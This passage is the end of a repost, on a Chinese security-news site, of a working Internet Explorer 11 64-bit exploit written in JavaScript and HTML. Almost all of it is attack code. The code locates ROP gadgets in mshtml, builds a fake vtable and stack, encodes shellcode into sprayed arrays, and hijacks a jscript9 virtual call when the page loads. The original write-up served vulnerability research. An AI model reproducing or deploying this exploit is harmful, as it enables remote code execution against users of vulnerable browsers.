   if((Math.floor(strarr[strindex].charCodeAt(i)/256) == 0x41) && (strarr[strindex].charCodeAt(i+1) == 0xC358)) {
     popr8 = mshtmllo + i*2 + 1;
     break;
   }
 }
 if(popr8 < 0) {
   alert("Exploit failed, couldn't find ROP gadgets");
   return;
 }
 //prepare the fake vtable
 var eaxoffset = 6 + 0x20;
 arrarr[arrindex][eaxoffset + 0x98/4] = u2s(pivotlo);
 arrarr[arrindex][eaxoffset + 0x98/4 + 1] = mshtmlhi;
 //prepare the fake stack
 arrarr[arrindex][eaxoffset] = u2s(poprcx);
 arrarr[arrindex][eaxoffset + 1] = mshtmlhi;
 arrarr[arrindex][eaxoffset + 2] = addrlo;
 arrarr[arrindex][eaxoffset + 3] = addrhi;
 arrarr[arrindex][eaxoffset + 4] = u2s(poprdx);
 arrarr[arrindex][eaxoffset + 5] = mshtmlhi;
 arrarr[arrindex][eaxoffset + 6] = 0x1000;
 arrarr[arrindex][eaxoffset + 7] = 0;
 arrarr[arrindex][eaxoffset + 8] = u2s(popr8);
 arrarr[arrindex][eaxoffset + 9] = mshtmlhi;
 arrarr[arrindex][eaxoffset + 10] = 0x40;
 arrarr[arrindex][eaxoffset + 11] = 0;
 arrarr[arrindex][eaxoffset + 12] = u2s(vplo);
 arrarr[arrindex][eaxoffset + 13] = u2s(vphi);
 arrarr[arrindex][eaxoffset + 14] = addrlo + 24 + eaxoffset*4 + 50*4;
 arrarr[arrindex][eaxoffset + 15] = addrhi;
 //encode the shellcode
 for(var i=0;i<Math.floor(shellcode.length/4);i++) {
    arrarr[arrindex][eaxoffset + 50 + i] = u2s(shellcode[i*4+3]*0x1000000 + shellcode[i*4+2]*0x10000 + shellcode[i*4+1]*0x100 + shellcode[i*4]);
 }
 //overwrite a vtable of jscript9 object and trigger a virtual call
 arrarr[arrindex][7] = addrhi;
 arrarr[arrindex][6] = addrlo + 24 + eaxoffset*4;
 //arrarr[arrindex][7] = 0x123456;
 //arrarr[arrindex][6] = 0x123456;
 //alert("done3");
 arrarr[arrindex+1].blah();
}
function run() {
 numsploits = 0;
 window.setTimeout(spray, 1000);
}
</script>
<body onload=run()>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
</body>


原文链接:http://ifsec.blogspot.com/2013/11/exploiting-internet-explorer-11-64-bit.html

未经允许不得转载:安全路透社 » 【技术分享】Exploiting Internet Explorer 11 64-bit on Windows 8.1 Preview

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册